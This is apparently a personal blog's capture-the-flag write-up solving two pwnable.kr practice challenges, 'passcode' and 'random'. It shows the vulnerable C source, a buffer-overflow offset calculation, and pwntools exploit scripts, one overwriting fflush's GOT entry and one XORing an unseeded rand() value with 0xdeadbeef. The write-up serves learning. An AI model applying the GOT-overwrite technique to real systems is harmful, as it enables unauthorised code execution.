Pwn-A-Day Day-4

Pwn-A-Day Day-4

Today I will show you 2 more challenges from this site

Day 4

Name - Passcode

So we are give with 3 files as usual lets look at the souce code

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

Did you noticed something unusual , the scanf function right??

scanf("%d", passcode1);
scanf("%d", passcode2);

So there should be a & sign infront of variable names denoting the address of the variable

Lets checkout the disassembly of 3 function shown in code above

Main Function

Nothing to note here this just calls the welcome and login functions

Welcome Function

So we can see the stack location in the disassembly its ebp-0x70

Here we can see instruction lea performed on edx and ebp-0x70. We can translate it just as load the effective address (calculate it) and store in the edx register. From that information, we know that variable ebp-0x70 is the name variable. Login Function

But here, unlike name buffer we don’t calculate the address of the variable passcode1, we just use it’s value with mov edx,DWORD PTR [ebp-0x10]. All the same with passcode2 - mov edx,DWORD PTR [ebp-0xc].

Since name buffer and passcode1 are relatively close to each other we can overflow the buffer to modify the value of passcode1, so lets calculate the offset

offset=(ebp-0x70)-(ebp-0x10)
offset=96

so we can supply arbitrary 96 bytes followed by the required value of passcode1 in hex but there is no way to modify the value of passcode2 because our input is restricted to 100 bytes so anything after 100 bytes will not be read ,so we have two option either to bruteforce the passcode2 or overwrite the GOT entry of fflush functionas it is immediatly executed after scanf for passcode1

U can read about GOT and PLT here

lets look for the address of fflush in the GOT table using objdump -R <binary-name>

So we can form our payload as 96 ‘A’s followed by fflush address followed by the address to point to which can be 0x080485d7 as it prints the login successful message followed by the flag

I have shown my exploit below

from pwn import *
ssh_connect=True
# context.log_level="debug"
if ssh_connect:
	server = ["pwnable.kr", 2222, "passcode", "guest"]
	ssh_handle=ssh(host=server[0],port=server[1],user=server[2],password=server[3])
	p=ssh_handle.process("./passcode")
else:
	elf=ELF("./passcode")
	p=elf.process()

fflush=0x0804a004
system=0x080485d7


p.recv()

payload="A"*96
payload+=p32(fflush)
payload+=str(system)

p.sendline(payload)

print p.recvall()

Finally the exploit in action!

Moving on to next challenge

Name - Random

Lets take a look at the source

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

so it seem that rand() function is being run without any seed so it will return the same value everytime we run the function so lets get that value first

just write a short script like this on the server and compile and run it to get the value

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();

        printf("%d\n", random);
        return 0;
}

So now we cook up a simple script to xor to strings and get the flag

from pwn import *

ssh_connect=True

if ssh_connect:
	server = ["pwnable.kr", 2222, "random", "guest"]
	ssh_handle=ssh(host=server[0],port=server[1],user=server[2],password=server[3])
	p=ssh_handle.process("./random")
else:
	elf=ELF("./random")
	p=elf.process()

rand_int=1804289383
final_val=0xdeadbeef

key=rand_int^final_val

p.sendline(str(key))
print p.recvall()

Finally the script in action

Hope you are Enjoying this!!

Share: Twitter Facebook
Nirmit Shah's Picture

About Nirmit Shah

Nirmit is a programmer, noob-hacker, a member of Cyberlabs, IIT (ISM) Dhanbad.

Pune, India

Comments